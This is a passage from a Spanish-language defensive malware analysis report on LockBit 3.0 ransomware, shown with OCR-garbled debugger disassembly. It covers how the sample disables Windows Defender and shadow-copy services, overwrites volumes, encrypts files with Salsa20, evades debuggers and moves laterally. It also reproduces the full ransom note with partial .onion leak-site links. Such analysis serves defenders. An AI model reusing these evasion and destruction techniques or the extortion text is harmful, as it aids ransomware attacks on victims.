En primer lugar, el proceso descifra la informacion que se encontraba en Base64. En
concreto, obtiene la extensién que utilizara para cifrar (en el caso de la muestra 1.3
es .GIWIxFQ2d para todas sus ejecuciones) y la nota de rescate en texto claro.

push eax

call packed_fixed.AD&830

mov dword ptr ds:[AF5158] ,eax O0AF5158: 4"~ LoCkBit 3.0 the world's fastest and most stable ransomware from 2019~\r\n\rin=>>>> Your data is stol
cmp dword ptr ds:[AF5158],0 ODAF5158:&" "~ LOCkBit 3.0 the world's fastest and most stable ransomware from 2019~rn\rne=»=>>> Your data is stol
je packed_fixed.AD7213

push dword ptr ds:[AF5158] O0AFS158:&" "~~~ LOCKBIiT 3.0 the world's fastest and most stable ransomware from 2019~—~%rin\rin==>>> yYour data is stol
push ebx ebx:"+EZV/1N6Y7j1IAARISKIWED /PC22WWSNUCTTod8 Lv,/bY8]NPPRBHBUVM j8SXMFSGSS 121 eqo0ob9i xkcPNOEwQDHEUCIZ ULF 1QzZ qgm,/Omyc1pEW

€811 <packed_fix ed.DecryptBasesd>

Figura 42. Nota de rescate descifrada de Base64

Utilizando el nombre de la extension, el malware crea un fichero “.ico” en ProgramData,
que sera el icono que tendran los ficheros una vez cifrados.

Fepne SCcasw

sub edi,2 edi:L".ico"

mov dword ptr ds:[edi],69002E edi:L".ico"

mov dword ptr ds:[edi+4],68F0083 edi+4:L"co"

mov dword ptr ds:[edi+8],0

push o

push 80

push 2

push 0

push o

push 40000000

lea eax,dword ptr ss:|[ebp-260]

push eax

€&l dword ptr ds:[<CreateFilex]

3 GIWkFQ2d 29/05/2022 21:04 lcono 15 KB

regid.19971-06.com.microsoft 29/05/2022 21:01 Carpeta de archivos
Microsoft 11/05/2022 20:57 Carpeta de archivos

LArdahe 11ADSF2022 2055 Carneta de archivns

Figura 43 Creacion de fichero .ico en %PROGRAMDATA%

Ademas, el malware utiliza “RegCreateKeyExA” para crear una clave de registro, donde se
almacena el icono HKR\GIWxFQ2d\Defaulticon.
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[ Editor del Registro

Archive Edicién Ver Favoritos Ayuda

4 Equipo\HKEY_CLASSES_ROOT\GIWIxFQ2d\Defaulticon

[ s GIFFilter.CoGIFFi & || Nombre Tipo Datas

| v Li GWkFQad ab) (Predeterminado) REG_SZ C:\ProgramData\GIWIxFQ2d.ico
Defaultlcon

Figura 44. Creacion de clave de registro

Posteriormente, el malware procede a detener todos los servicios que se encuentran en la
configuracion. Mediante la funcion “EnumServicesStatusEx”, obtiene el listado total de
servicios y, a continuacion, va deteniendo los configurados en el interior del malware. Esta
ejecucion la realiza abriendo “SCManager”, haciendo uso del usuario Trustedlnstaller
(cuenta genérica en el sistema operativo Windows) y cambiando al valor hexadecimal
“Ox00000004” de cada clave de registro.

RSN W

£all dword ptr ds: [<OpensSCManagers>]

nov dword ptr ss:Eehp—4 y 24X

cmp dword ptr ss:llebp-4],0

je packed_fixed.ADBES4

lea eax,dword ptr ii:Eehp c 4]

nov dword ptr ds:[eax],l19719FAZ eax:L"TrustedInstaller”
nov dword ptr ds [eax 4],19709F83 eax+4:L"ustedInstaller”
nov dword ptr ds:[eax+8],19669F82 eax+8: L"tedInstaller"”
nov dword ptr ds [eax C] ,194A9F 92 eax+C:L"dInstaller™

nov dword ptr ds:[eax+10],19709F98 eax+10:L"nstaller”

nov dword ptr ds [eax 14] : 19629F82 eax+l4:L"taller”

nov dword ptr ds:[eax+18],196F9Fa4 eax+18:L"11er"”

nov dword ptr ds:[eax+1C],19719F93 eax+lc:L"er™

nov dword ptr ds [EaX*hu y L9039FF6

nov ecx, 3 9:"\t"

kor dword ptr ds:[eax],l19039FF6 eax:L"TrustedInstaller”
add eax,4 eax:L"TrustedInstaller”
dec ecx

jne packed_fixed.ADSEZF

push 14

lea eax,dword ptr ss:[lebp-54f

push eax eax:L"TrustedInstaller”
push dword ptr ss:|[febp-4

E&N dword ptr ds:[<0OpenServices]

Figura 45. Detencion de servicios a través del usuario TrustedInstaller

A continuacion, se muestran las claves de registro modificadas.

Clave de registro Software
HKLM\System\CurrentControlSet\Services\SecurityHealthService\Start Wmdgws Defender .
Security Center Service
HKLM\System\CurrentControlSet\Services\Sense\Start Windows Defender 11
HKLM\System\CurrentControlSet\Services\WdBoot\Start Windows Defender 11
HKLM\System\CurrentControlSet\Services\WdFilter\Start Windows Defender 11
HKLM\System\CurrentControlSet\Services\WdNisDrv\Start Windows Defender 11
HKLM\System\CurrentControlSet\Services\WdNisSvc\Start Windows Defender 11
HKLM\System\CurrentControlSet\Services\WinDefend\Start Windows Defender 11
HKLM\System\CurrentControlSet\Services\sppsvc\Start Software Protection
HKLM\System\CurrentControlSet\Services\wscsvc\Start Security Center Service

Tabla 7. Claves de registro de Windows Defender

Clave de registro \ Software
HKLM\System\CurrentControlSet\Services\vmicvss\Start Volume Shadow Copy
HKLM\System\CurrentControlSet\Services\VSS\Start Volume Shadow Service
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Tabla 8 Claves de registro de Shadow Copies

Clave de registro
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\<LOG_FILE>

Tabla 9. Claves de registro de Event Logs

En esta parte del programa es donde el malware comienza a crear varios hilos que utilizara
mas tarde en el cifrado.

WUSrn W
5111 dword ptr ds:[<CreateThread:]
mov ebx,eax
test ebx,ebx
je packed_fixed.AET145
push FFFFFFFF
push ebx
E&11 dword ptr ds: [AF5540]
push ebx
€&l dword ptr ds: [AFS4CC)
push ©
push 0O
push 0
push packed_fixed.AD7458
push O
push 0
a1l dword ptr ds:[<CreateThread:]
mov dword ptr ss:[febp-10J,eax

push 0

push 0

push o

push packed_fixed.AD781C

push 0

push 0

call dword ptr dsi[<creaEeThread>]
5 008 O0ADT 45 8 | O0DS4000 | 00ADLOET | 1 Normal suspended

6012 00000000 | 00DF7 2000 | OOAET 1AL | 1 wNormal Executive

1 7968 F7E3SBAD | 00DF5000 ( FTFTEF46BC | 1 Mormal Suspended
7 3376 00ADT81C | OODBTO00 | 77EF2E2C | 1 Normal suspended
[ 7608 77E35BAD | OODBADDD | 77FEF46BC | 1 Normal Suspended
4 1472 F7E358A0| 00DB1000 | PFEFA6BC | 1 Normal Suspended
2 2428 77E35BAD | 00D7B0O00 | 77EF46BC | 1 Normal Suspended
3 6780 FTE3SS58A0 | 00DFBOOO | PFEFTH6BC | 1 Mormal Suspended

Figura 46. Creacion de hilos para cifrar

Tras esto, el malware procede a eliminar las shadow copies que hubiera en el equipo.

Después, este comienza a recorrer todos los volumenes y a sobrescribirlos para hacerlos
irrecuperables mediante técnicas forenses.
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m dword ptr ds: [<6etvolumenm>]|
je packed_f1xed ADASOF

cmp word ptr ds:[edi],0

jne packed_f1ixed.ADAJOF

cmp dword ptr ss:febp-Cy, L

jne packed_f1xed.ADASOF

ush esi
dword ptr ds:[AF5560)

cmp eax,?

je packed_fixed.AoA761
cmp eax,
A“ pack f1ixed, ADAJOF

1 packed_fixed.AD155¢C

cmp eax, 3D

jae packed_fixed,ADATE?

ush esi
ﬁnnu dword ptr ds:[AF5438)
add esp,4
Tea eax,dword ptr ds:[esiteax 2)
mov dword ptr ds:[eax],6F0062
mov dword ptr ds:
mov dword ptr ds:
mov dword ptr ds:
push O
push 80
push 3
push 0
push 3
push 80000000

Saisk  aed

Eliﬁipwocd ptr ds:[<Createfile>) |

eax+4],74006F
eax+8],6700€60
eax+CJ,72

20 .
Plan de * Ib
o Recuperaclén, |di ital 2<EJ I3 ||-|= E_
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est:L"\\\\?\\Volume{S52fbbe3c~-0000~0000-0000~508f0CO00000}"
30:'=

esi:L"\\\\7?\\volume{52fbbe3c-0000-0000-0000-505f0CO00000}"
931 tpt

est:L"\\\\?\\volume{52fhbbe3c-0000-0000-0000-505f0CcO00000}"

Figura 47. Iteracion sobre los volumenes del equipo

A continuacion, se procede a crear la nota de rescate, previamente descifrada, en la ruta
principal del disco. Este proceso se realiza escribiendo byte a byte en el archivo
<EXTENSION>.README (en el caso de la muestra 1.3 GIWIxFQ2d.README).

push dword ptr ss:|febp+8j)
dword ptr ds:[AF5520]

mov dword ptr ss:

cmp dword ptr ss

e packed_fixed.ADC30D

ea eax,dword ptr ds:[AF6000]
mov edx,dword ptr da: eax+d)
mov eax,dword ptr ds: [eax]
mov dword ptr ssi chp 1Cf), eax
mov dword ptr ss: ehp 18§, edx
mov eax,dword ptr ds: [AF5174)
mov dword ptr ss: Ehn 14),eax
mov &s51,dword ptr ds:[AFS158
lea eax,dword ptr ss:[lebp-1C

push eax
oueh _sackad f4vad ALLOnn

ebp-44 , eax
:lebp-4l)l,FFFFFFFF

[ebp+8] L MWAEIZANGIWIXFQ2d . README . Txt™

I'. I'. I'. I'..Iﬁ

leall '-:Eacked_ﬂxed.SetPuinterFﬂe:-
]

setPointerFile |

mov edi , edx

mov dword ptr ss:|febp-10),2
lodsh

mov byte ptr 55.Iehp o, al

xor byte ptr ss5:febp-99,b1
push 0
1ea eax,dword ptr ssiebp-8)
push eax
push 1
1ea eax,dword ptr ss:ebp-5{
push eax
deu{d ptr dﬂi[gwr1t5F11e>]
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Mombre Fecha de modificacion Tipo Tamano
P

SWinREAgent 25/05/2022 20:14 Carpeta de archivos
Archivos de programa 29/05/2022 20:18 Carpeta de archivos
Archivos de programa (x86) 28/04/72022 11:55 Carpeta de archivos
Perflogs 07/12/201910:14 Carpeta de archivos
ProgramData 20/05/2022 20:49 Carpeta de archivos
Usuarios 1170572022 21:27 Carpeta de archivos
Windows 28/04/2022 12:37 Carpeta de archivos
| GIWIxFQ2d.README 20/05/2022 20:51 Documento de te... 11 KB

Figura 48. Creacion de nota de rescate

f~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~

>>>>> Your data is stolen and encrypted.
If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time

Tor Browser Links:
http://: gv27tquljg P
http://. 2yfbt71chxejugd Jpqkmevval3az13gy6pyd

i
i
http://! p6xojy P i
http://. 42k jbcqnz6f 7qd. oni
http:// 7t3eeq JaSuuccip i
http:// 72is y gdn7142artsbqd. oni
http:// i 3 iyatj i
http:// i iajqtplcrigzgdjps

http:// jqd.onion

Links for normal browser
http: //lockbitapt: quljgxr33xbumsp! d.oni

8
http:// i £bt71chxejugd jpqkmevva13az13gy6pyd.onion. 1
http: //lockbitapt3dkvrip6xojylohhxrwsvpzdf fgsSzdpbbsywnzsbdguqd.onion. ly
http: //lockbitaptSxdzkjbcqnz6f ion.ly
http:// tleeq ion. 1
http://. 724w55n y g i
http://lockbitaptaw j6F i
http: //ln<kb£(ap(bdh" plcrigzgdip 2. ion.1
http:// 2 215e62963 Jad.onion. ly

>>>>> What guarantee is there that we won't cheat you?
We are the oldest ransomware affiliate program on the planet, nothing is more important than our reputation. We are not a politically motivated group and we want nothing more than money. If you pay, we will provide you with decr

>»>>> You need to contact us and decrypt one file for free on TOR darknet sites with your personal ID

Download and install Tor Browser https://wa.torproject.org/
Hrite to the chat room and wait for an answer, we'll guarantee a response from you. If you need a unique ID for correspondence with us that no one will know about, tell it in the chat, we will generate a secret chat for you and

Tor Browser Links for chat:

http://. 31 qg; 3qd.oni
http://lockbit plixutsdn i
http://. 3] joqlp7yd.onion
http:// i 1 i j jad.onion
http://1 365/ 3dr i
http:// yac J6xy yd.onion
http:// t: 1k6bwbr i
http:// 8 8 f i
htto://. int 2 i

Figura 49. Nota de rescate LockBit 3.0

Finalmente, el programa llega a la zona de cifrado, realizando una busqueda recursiva de
todos los archivos del equipo comenzando por la raiz del disco. Para realizar esta tarea se
utiliza la funciéon “FindFirstFileExW”. Cuando ya tiene el arbol de directorios completo,
comienza el proceso de cifrado, dejando una copia de la nota de rescate citada
anteriormente en cada carpeta.

SBFF mov edi,edi FindFirstFileExw

75CF2EF2 5S push ebp
7SCF2EF3 BBEC mov ebp,esp
F75CF2EFS B83E4 F8 and esp,FFFFFFF3
75CF2ZEFS S81EC CCOZ0000 sub esp,2CC
75CF2EFE Al Z09BDBTS mov eax,dword ptr ds:[75DBSB30]
7SCF2F03 33C4 XOF 2ax,asp
7S5CF2F05 598424 C8020000 mov dword ptr ss:|[esp+zCs],eax
75CF2FOC 837D 0C 02 cmp dword ptr ss:lffebp+Cll,2
75CF2F10 SB45 14 mov eax,dword ptr ss:|[ebp+14])
75CF2F13 53 push ebx ebx:L” GIﬁ'IxFQ"tI README . TXL"
75CF2F14 56 push esi esi L™ PVNCE users' I\ Pictures)) =
75CFZF15 8B75 08 mov esi,dword ptr ss:[ebp+sd [ebp+8] s L™\ WA\ ThNC: \\U_aer_v\-\\FWcture_a\\'-*"
75CF2F18 57 push edi
75CF2F19 8B7D 10 mov edi,dword ptr ss:|[Jebp+10f)
SCF2FL1C 537C24 44 mov dword ptr ss:|lesp+44],edi

~-0OFBD 94FBOZ0O0 joe kernelbase.75D2ZABA

Figura 50. Llamada a la API FindFirstFileExW

Cuando ya tiene el archivo disponible, lo primero que hace es encontrar la extension de
este utilizando la funcién “PathFindExtension”.
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mov ebx,eax

cmp word ptr ds:[ebx],0
je packed_fixed. ADF2AT

add ebx,2
push 0
push ebx

I3 ST O ;
€811 dword ptr ds:[<PathFindExtension:]

sincibe_
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Plan de 20
m o \digital %
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ebx:L"py™, eax:L".py"
ebx: L"py"

ebx: L"py™
ebx: L"py"™

Figura 51. Localizar extensién del archivo

Para cifrar, el malware requiere de un juego de caracteres especifico que se encuentra
cifrado en memoria, que seria el siguiente:

Figura 52. Juego de caracteres de LockBit 3.0

S e e s o e
mov dword ptr dﬁ:Eebx].A:BF::as ebx: "ABCDIJKLEFGHQRSTMNOPYZ abuvwXghijcdefopqrkImnwxyzstuv4567012389"
mov dword ptr ds:[ebx+8],AEBB264C ebx+8: "EFGHQRSTMNOPYZ abuvwXghi jcdefopgrkimnwxyzstuv4567012389"

mov dword ptr ds:[ebx+4],AAB72A4 ebx+4: "IIKLEFGHQR STMNOPYZ abuvwxghi jcdefopqrkImnwxyzstuv4567012389"
mov dword ptr ds:[ebx+10],B6 ebx+10: "MNOPYZ abuvwXghijcdefopqrkImnwxyzstuv4567012389"

mov dword ptr da:Eebx-c],R:a 258 ebx+C: "QRSTMNOPYZ abuvwxghijcdefopqrkImnwxyzstuv4567012389"

mov dword ptr ds:[ebx+18],BEAB365C ebx+18: "uvwxghijcdefopqrkimnwxyzstuv4567012389"

mov dword ptr di:[ebx-LJ},RdﬁD?ARH ebx+14: "YZabUvwxghijcdefopqrkImnwxyzstuv4567012389"

mov dword ptr ds: [ebx+20],8099046A ebx+20: "cdefopqrkImnwxyzstuv4567012389"

mov dword ptr di:Eebx-LC%,S(OEHRGE ebx+1C: "ghijcdefopqrkImnwxyzstuv4567012389"

mov dword ptr ds:[ebx+28],88910C62 ebx+28: "KImnwxyzstuv4567012389"

mov dword ptr dz:%ebx-?4],94501HGG ebx+24: "opqrkImnwxyzstuv4567012389"

mov dword ptr ds:[ebx+30],9089147A ebx+30: "stuv4567012389"

mov dword ptr di:Eebx<2C},9€5518?E ebx+2C: "wxyzstuv4567012389"

mov dword ptr ds:[ebx+38],D5CE5139 ebx+38:"012389"

mov dword ptr di:Eebx-ldi,DL(&SSBO ebx+34:"4567012389"

mov dword ptr ds: [ebx+3C],E6FC5931 ebx+3C:"89"

push 10

push ebx ebx: "ABCDIJKLEFGHQRSTMNOPYZ abuvwXghijcdefopqrkimnwxyzstuv4567012389"
call packed_fixed.AD123C

Figura 53. Construccion de la cadena de caracteres utilizado para el cifrado

A continuacion, podemos ver como el fichero malicioso utiliza el mismo juego de caracteres
para renombrar al archivo con un nombre aleatorio. Se trata de un bucle que escoge 7
posiciones aleatorias del alfabeto, que se encuentra en la figura 53 y las concatena.
Después anadira al nombre la extension (en el caso de la muestra 1.3 “.GIWIxFQ2d”) y
procedera a cifrar el contenido.

LA 2L €51:L XFILBYU, GIWIXFQZO
call :pucked_r1xed.generntt_randnm_name>|
Frerstr-tword—ptr—ariere) [ebp+C]:L".GIWIxFQ2d"

push esi esi:L"XFILBYU.GIWIxFQ2d"

call dword ptr ds:[<concat_extensions]

=l wl - - -

v

packed_f1ixed.00ADECCE

€a11 <packed_fixed.posicion_diccionario>
movzx eax,byte ptr ds:[eax+ebx] ; eax+ebx*1:"ABCOIIKLEFGHC
Stosw

dec esi ; esi:L"XFILByU"

test esi,esi ; esi:L"XFILByuU"

jne packed_fixed.ADECC2

b

¥
packed_f1ixed. 00ADECC2
push 3D
push 0

Figura 54. Cambio de nombre y extension del fichero

Los detalles del cifrado se encuentran en la seccion 4.4.

TLP:CLEAR
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Figura 55. Archivos cifrados por LockBit 3.0

Tras cifrar todos los archivos, se cambia el fondo de escritorio con la siguiente imagen:

LockBit Black

All your important files are stolen and encrypted!
You must find GIWIxFQ2d.README.txt file
and follow the instruction!

Figura 56. Fondo de pantalla LockBit 3.0

Una funcionalidad en la que difieren la muestra 1.3 y la 2 es en el hecho de que, al final de
Su ejecucion, la muestra 2 lanza el proceso splwow64.exe, imprimiendo la nota de rescate
en las impresoras conectadas al equipo. Gracias al andlisis del builder que se encuentra
en el anexo 4 se puede inferir que la opcién de configuracién “print_note” esta activada.

Y e el

push 0O

push dword ptr ss:|febp+a

push dword ptr ss:[ebp+2s

push dword ptr ssiffebpt24 [ebpt+24] L C i\ \wWindows™

push dword ptr ss:[ebp+20

push dword ptr ss:febp+l

push dword ptr ss:lebp+13

push dword ptr ss:febp+14

push dword ptr ss:febp+10

push dword ptr ss:[ebp -] [ebp+C] L C % \Windows\\SpIwow64. exe 12288"
push dword ptr ss:|jlebp+8 [ebp+8]:L"C: % \Windows'\spIwowec4. exs"
push o

c€all <kernelbase.CreateProcessInternalw:

Figura 57. Proceso splwow64.exe en la muestra 2

LockBit 3.0 utiliza mutex para evitar ejecutarse varias veces en la misma maquina, por
ejemplo, en el caso de la muestra 2 se crea:

m  “\BaseNamedObjects\2cae82bd1366f4e0fdc7a9a7cl2e2a6b”.
Debido a esto se puede inferir que la opcion “running_one” esta activada en esta muestra.

Cada muestra creada por el builder de referencia utiliza siempre el mismo mutex.

ESTUDIO DEL ANALISIS DE LOCKBIT TLP:CLEAR




VOO Plan de 28 .
“ Ia Union Evropes ﬁim — e Recuperacién, diaital 2 ¢ incibe_
MextGenerationEU m ‘ ¥ Reslllencla | l g lta INSTITUTO NACIONAL DE CIBERSEGURIDAD
GPU Disk and Network
General Statistics Performance Threads Token Modules
Hide unnamed handles
Type - Name
Key HKLM\SYSTEM\ControlSet00 1\Control \WNetworkProvider \HwOr
Key HKLM\SYSTEM\ControlSet00 1\Control Wis\CustomLocale
Key HKCU\Software\Classes
Key HKCR
Key HKCR
Key HKLM\SYSTEM\ControlSet00 1\Control \Wis\Sorting \Ids
Key HKLM\SOFTWARE \Microsoft\Windows \CurrentVersion\WINEV
Key HKLM \SYSTEM\ControISetOO 1\Servnces \Tcpcp\Parameters\Inti
Key -
Mutant
Mutant
Section \Sessnons\l\BaseNamedOb)ects\wmdows shell_global_counts
Section \BaseNamedObjects\ _ComCatalogCache__
Semaphore \Sessions\1\BaseNamedObjects\SM0: 5708: 168:WilStaging_0
Thread lockaaa.exe (5708): 6188
Thread lockaaa.exe (5708): 2864
Thread lockaaa.exe (5708): 7804
Thread lockaaa.exe (5708): 2864
Thread lockaaa.exe (5708): 6188
Token DESKTOP-5AQQ8KS\Andres: 0x7abéb (Primary)

WindowStation \Sessions\1\Windows\WindowStations\WinSta0
WindowStation \Sessions\1\Windows\WindowStations\WinSta0

Figura 58. Mutex en la muestra 2

Finalmente, crea un proceso con un nombre generado aleatoriamente que sigue esta
expresion regular “[A-FO-9{3}\.tmp”. Este se encarga de sobrescribir el contenido del
binario del ransomware y luego cambia el nombre de este varias veces, basandose en la
longitud del nombre del original.

Por ejemplo, si el nombre del ransomware tiene cinco caracteres (incluyendo la extension),
este es renombrado como AAAAA, y luego BBBBB, hasta ZZZZZ. LockBit usa esta técnica
para hacer irrecuperable el binario mediante técnicas forenses.

| (0] C99.tmp

Figura 59. Ejecucion del archivo C99.tmp

4.3. Técnicas antideteccion y antingenieria inversa

Una de las caracteristicas de las muestras de LockBit es sus multiples técnicas
antingenieria inversa. Estas se corresponden en su mayoria con las documentadas en
fuentes abiertas [7] y se enumeraran a continuacion.

Durante el andlisis de la muestra nos encontramos con una técnica de antingenieria inversa
que utiliza la API “NtSetIinformationThread()”. Esta técnica se encuentra documentada por
CheckPoint en el report [5].
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Mediante esta, un hilo puede cambiar el THREAD_INFORMATION_CLASS de si mismo al
valor 0x11, el cual corresponde a “ThreadHideFromDebugger” y, de esta forma, el hilo se
ocultard al debugger, suspendiéndose el proceso analizado (debuggeado).

88 8CCAF91D
C1Co 02
FFEO

0000

0000

0000

x

MOV eax, IDFSCAN A
rol eax,:

?‘3‘5 ;::e ptr ds:(eax],al EAX 7T7E72A30 <ntdl].NtSetinformationThread>

add byte ptr ds:{eax],a) ; 0 00
add byte ptr ds:leax],al

pushfd D Ml

Figura 60. Creacion de ThreadHideFromDebugger

Durante toda la ejecucion puede observarse como para acceder a cualquier API, el
malware utiliza la clave XOR “Ox19039FF6” para desofuscar las llamadas.

ot el EAX  77E72A30 <ntd11.NtSetInformationThreads |
Xor eax,19039FF6 EEX 00832000
| imp_sax% ECX 00000011

Figura 61. Ofuscacién de API

Comprueba los siguientes parametros del debugger:

e HEAP_VALIDATE_PARAMETERS_ENABLED
o HEAP_TAIL_CHECKING_ENABLED

Ademas, LockBit 3.0 modifica la funcidon “DbgUiRemoteBreakin” para evitar que los
debuggers intenten afiadirse al proceso.

Como mecanismo de antideteccion hay que destacar el usado por la muestra 1 cuando
camufla el shellcode en un fichero de 191 MB evitando ser detectado por analisis manuales
y automaticos, ya que es un fichero grande y afecta al rendimiento de los sistemas de
deteccion.

4.4. Criptografia

Para cifrar los archivos se crea un “Decryption ID Marker”, que se puede ver en el informe
de Infinitum IT [8]. Este identificador es utilizado para el descifrado y se encuentra al final
del fichero cifrado.
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Direccig| Hex ASCII

013551C2 | 00 00 00 00[|00 00 00 OO(00 OO0 00 00[00 00 00 00(.......ccvvuuans
01355102 |00 00 00 O0(00 00 00 00|00 00 00 O0(00 00 00 00| & oo sssss
013551E2 | 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 O00(...cveeeervenas
QL3551F2 |00 00 OO0 OO0(00 00 00 00|00 00 00 O0(00 00 00 00| v e eerrrrrrnsss
01355202 | 7F F1 ES DF|6C ES8 80 2A|24 30 FE 19|50 A6 27 42|.nakle.*$0p. ]
01355212 (A2 €3 08 CO(7D 83 &8 CE|44 8C 30 ZE|ED 5B 11 B9 ti.h; «hip, Df15
01356222 (0D 72 CD A4(CD A3 CB DO|0A 75 16 B7 (D4 5D D3 6F|.rIAI£ED.uU
01355232 |C9 E7 2D 22|62 28 28 4F |72 FB BB FE|AC E7 F9 4C|Eg-"h({(Ord. p—-l;uL
01355242 |00 00 00 00|00 00 OO0 OO(00 00 00 00|00 00 00 00(...ccueeeervnnnns
01355252 |00 00 OO0 OO0(00 00 00 00|00 00 00 O0(00 00 00 00| e rrrrrnsss
01355262 |00 00 00 00|00 00 OO0 00|00 00 00 00|00 00 00 00| ..ciueeeerrnnnns
0135527200 00 00 00|00 OO0 00 00|00 OO0 00 00|00 00 00 00| .. eeensrrrnnss
01355282 |00 00 00 00|00 00 00 OO0(00 00 00 00|00 00 00 00| ..cvuveeerrnnnns
01355292 |00 00 OO0 OO0(00 00 00 00|00 00 00 O0(00 00 00 00| e rrrrrrnsss
013552A2 | 00 00 00 00|00 00 00 00|00 OO0 00 00|00 00 00 00(....cceeerveaans
01355282 |00 00 OO0 OO0(00 00 00 00|00 00 00 O0(00 00 00 00| e rrrrrnsss
013552C2 | 00 00 00 00|00 00 7F FL|(ES DF 6C ES|80 2A 24 30| ....... falk1e. #£0
013552D2 | FE 19 5D AG|27 42 A2 C3|(08 CO 7D 83|68 CE 44 BC b.%"Bti.h;.hID.
013552E2 (30 3E ED SB(11 B9 0D 72 |CD A4 CD A3 |CB DO OA 75 (0> rialeEp. u
013552F2| 16 B7 D4 5D (D3 6F €9 E7|2D 22 62 28|28 4F 72 FB|. -0]0cE¢-"b((Ord
01355302 | 8B FE AC E7|F9 4C 63 21|07 60 26 4C|AC D1 88 A9|.p-clLc!. &L=N.®
01355312 (B2 62 DB 7A|EQ 15 24 48|97 E3 43 79|D7 B3 08 7F ‘sza.SH a{yx'
01355322 | 00 DO 46 F3|81 34 1A 9F|6F 46 DD 93 |AE &3 72 5C|.DFA.4..0FY. E'v::r‘-.,
01355332 (7D 84 95 BC|1E 85 83 SE|BD 24 B2 3B|B7F 13 6A 64 g..m...“&S‘ o jd
01355342 |FO A4 24 55|48 F8 00 00|02 00 00 00|00 00 00 OO0|OHEUK®..........
01355352100 00 OO0 O0[00 00 00 OOI00 00 00 O0(00 00 00 00| ... rrrnnss

Figura 62. Decryption ID Marker

En cuanto al algoritmo de cifrado, el malware parece haber embebido una libreria de
cifrado, tal y como ha hecho en versiones anteriores (libreria mbedtls y juego de
instrucciones AES-NI).

A continuacién, puede observarse un extracto de la funcién de cifrado de la muestra 1.2.

packed_Tixed,. Q0232182

add eax,edd

rel eax,7?

xor esi,eax

mov eax,dword ptr ss:|fesp+28])
add eax,esi

mov dword ptr ssillesp+38],esi
rol eax,9

xor dword ptr ss:llesp+20[,eax
mov eax,dword ptr ss:[fesp+z0]
add eax,esi

mov esi,dword ptr ss:|[fesp+34])
rol eax,D

xor edi,eax

mov eax,dword ptr ss:[fesp+20[]
add eax,edi

mov dword ptr ss:|fesp+44],edi
ror eax,E

xor dword ptr ss;|lesp+2&8]),eax
mov edi,dword ptr ss:fesp+2C])
Tea eax,dword ptr ds:[esi+edi]

Figura 63. Algoritmo de cifrado Salsa20

Dadas las constantes que aparecen en la figura anterior y las operaciones rol y ror, existe
una alta probabilidad de que esta muestra esté utilizando el algoritmo de cifrado Salsa20
[10]. Esta conclusién también aparece en el siguiente informe de VMWare [11].

Salsa20 es un algoritmo de cifrado de clave simétrica. Es una de las pocas alternativas a
AES, por lo que es imposible descifrar los archivos si no se conoce la clave.

4. 5. Parametros adicionales

ESTUDIO DEL ANALISIS DE LOCKBIT TLP:CLEAR




o . 20 .

Financlado por B b ek Plan de *

[ e #h= = — T Rt digital 2 ¢incibe_
MextGenerationEU m ‘ ¥ Reslllencla | lgl a INSTITUTO NACIONAL DE CIBERSEGURIDAD

A continuacién, se muestra una tabla con los distintos parametros que aceptan las
muestras de LockBit junto a su funcionalidad.

Parametro Funcionalidad

Utiliza los primeros 32 caracteres del valor como clave

-pass para descifrar la rutina principal, solo en el caso de que la
muestra necesite el token de acceso para ejecutarse.

-safe Reinicia en modo seguro.

-wall Solo pone el fondo de pantalla del ransomware e imprime
la nota de rescate en impresoras.

-path Cifra especificamente un archivo o una carpeta.

-gspd Realiza la modificacién de la politica de grupo para el
movimiento lateral.

-psex Realiza movimiento lateral a través de los recursos
compartidos administrativos.

-gdel Elimina las actualizaciones de las politicas de grupo.

-del Se borra a si mismo.

Tabla 10. Parametros de ejecucion adicionales

4.6. Configuracion

Las muestras de LockBit 3.0 contienen una configuracion y cadenas de texto que se
descifran durante la ejecucion. La configuracién utiliza dos métodos de cifrado: XOR y
hashes ROR13. Estos se utilizan en la muestra 1.3 y 5. Basandose en el codigo que
aparece en el informe de OALabs [10], se ha creado un script que permite extraer esta
informacion. El cédigo utilizado aparece en el anexo 5. Cabe destacar que no se ha podido
obtener el contenido de algunos hashes, ya que se ha utilizado una tabla de hashes
precalculada y estos no aparecian.

Los siguientes parametros de configuracion aparecen tanto en la muestra 1.3 como en la

2.
autorun.inf ntldr
boot.ini ntuser.dat
bootfont.bin ntuser.dat.log
bootsect.bak ntuser.ini
desktop.ini thumbs.db
iconcache.db ntldr

Tabla 11. Ficheros que se excluyen del cifrado

Extensiones excluidas del cifrado

386 Ink
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adv mod
ani mpa
bat msc
bin msp
cab msstyles
cmd nsS
com nls
cpl nomedia
cur ocx
deskthemepack prf
diagcab ps1
diagcfg rom
diagpkg rtp
dll tc2
drv th3
exe spl
hip Sys
icl theme
icns themepack
ico WpX
ics lock
idx key
(o} hta
msi pdb

Servicios a detener ‘

Tabla 12. Extensiones excluidas del cifrado

Vss Sophos
Sql Backup
Svc$ GxVss
Memtas GxBIr

Mepocs GxFWD

ESTUDIO DEL ANALISIS DE LOCKBIT

INSTITUTO NACIONAL DE CIBERSEGURIDAD

TLP:CLEAR




Financlado por e Plan de 20 H
- la Unién Europea m - Y ey ::“'“”" """'” d t l 22] g In:lbe_
MextGenerationEU m ‘ ¥ Reslllencla | lg l a INSTITUTO NACIONAL DE CIBERSEGURIDAD
Msexchange GxCVD

Tabla 13. Servicios a detener

Procesos a detener ‘

Sql Thbirdconfig
Oracle Mydesktopgos
Ocssd Ocomm
Dbnmp Dbeng50

Synctime Sqgbcoreservice
Agntsvc Excel
Isqlplussvc Infopath
Xfssvccon Msaccess

Mydesktopservice Mspub
Ocautoupds Onenote
Encsvc Outlook
Firefox Powerpnt
Steam Winword
Thebat Wordpad
Thunderbird Notepad
Visio

Tabla 14. Procesos a detener

Adicionalmente, tras analizar el builder, cuyo andlisis se encuentra en el anexo 4, se han
descubierto los siguientes parametros de configuracion (indicados en las tablas 15, 16 y

17).
Parametro Funcionalidad
uid ID utilizado al enviar un mensaje al C2.
key Clave utilizada al enviar un mensaje al C2.

Tabla 15. Configuracion del bot

Pardmetro Funcionalidad
white_folders Lista de ficheros a ignorar en el cifrado.
white_files Lista de archivos a ignorar en el cifrado.
white_extens Lista de extensiones a ignorar en el cifrado.
white_hosts Lista de hosts a ignorar en el cifrado.
kill_processes Lista de procesos a eliminar antes del cifrado.
kill_services Lista de servicios a eliminar antes del cifrado.
